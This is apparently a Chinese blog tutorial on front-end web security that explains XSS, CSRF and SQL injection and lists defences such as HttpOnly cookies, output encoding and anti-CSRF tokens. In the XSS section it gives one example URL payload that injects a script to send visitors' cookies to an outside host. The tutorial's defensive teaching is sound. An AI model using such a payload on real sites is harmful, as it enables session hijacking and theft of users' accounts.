web前端应该注意的安全问题

1.跨站脚本攻击(XSS攻击)

    跨站攻击,即Cross Site Script Execution(通常简写为XSS)是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式

XSS(Cross Site Scripting),跨站脚本攻击。XSS是常见的Web攻击技术之一.所谓的跨站脚本攻击指得是:恶意攻击者往Web页面里注入恶意Script代码,用户浏览这些网页时,就会执行其中的恶意代码,可对用户进行盗取cookie信息、会话劫持等各种攻击.

解决方案:

(1)永远不要相信用户的输入,对用户输入的数据做一定的过滤。如输入的数据是否符合预期的格式,比如日期格式,Email格式,电话号码格式等等。这样可以初步对XSS漏洞进行防御。上面的措施只在web端做了限制,攻击者通抓包工具如Fiddler还是可以绕过前端输入的限制,修改请求注入攻击脚本。

(2)HttpOnly Cookie:true。预防XSS攻击窃取用户cookie最有效的防御手段。Web应用程序在设置cookie时,将其属性设为HttpOnly(如果 Cookie 具有 HttpOnly 特性且不能通过客户端脚本访问,则为 true;否则为 false。默认值为 false。),

就可以避免该网页的cookie被客户端恶意JavaScript窃取,保护用户cookie信息。

举个例子:通过QQ群,或者通过群发垃圾邮件,来让其他人点击这个地址:

book.com/search?name=<script>document.location='http://vajoy/get?cookie='+document.cookie</script>

这样我们就可以获取别人的cookie信息了。

(3) 输出编码。服务器端输出到浏览器的数据,可以使用系统的安全函数来进行编码或转义来防范XSS攻击。相应的JavaScript的编码方式可以使用JavascriptEncode。

2. 跨站请求伪造(CSRF攻击)

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。

CSRF攻击攻击原理及过程如下:

       1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;

       2.在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;

       3. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;

       4. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
       5. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

解决方案:

(1)验证 HTTP Referer 字段,根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。也就是说,服务器会验证客户端的请求来源,如果本网站请求的则响应,否则不响应。

(2)验证码验证,但这种方式涉及到页面交互,在通常情况下,验证码能很好遏制CSRF攻击。但是出于用户体验考虑,网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段,不能作为主要解决方案。

3.使用 token (Anti CSRF Token)

可以理解是防伪

  1. 用户访问某个表单页面。

  2. 服务端生成一个Token,放在用户的Session中,或者浏览器的Cookie中。

  3. 在页面表单附带上Token参数。

  4. 用户提交请求后, 服务端验证表单中的Token是否与用户Session(或Cookies)中的Token一致,一致为合法请求,不是则非法请求。

详见大牛博客

3.SQL注入

web应用程序对用户的输入没有进行合法性的判断,前端传入后端的参数是攻击者可控的,并且带入了数据库查询,导致攻击者可以构造不同的sql语句实现对数据库的任意操作。

解决方案:

  • 限制字符串输入的长度;
  • 给表名/字段名加前缀 (避免被猜到)

  • 报错隐藏表信息 (避免被看到, 12306 早起就出现过的问题)

  • 对用户输入进行转义

  • 过滤sql关键字符,验证用户输入的类型 (避免 limit, order by 等注入)

 

 

 

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值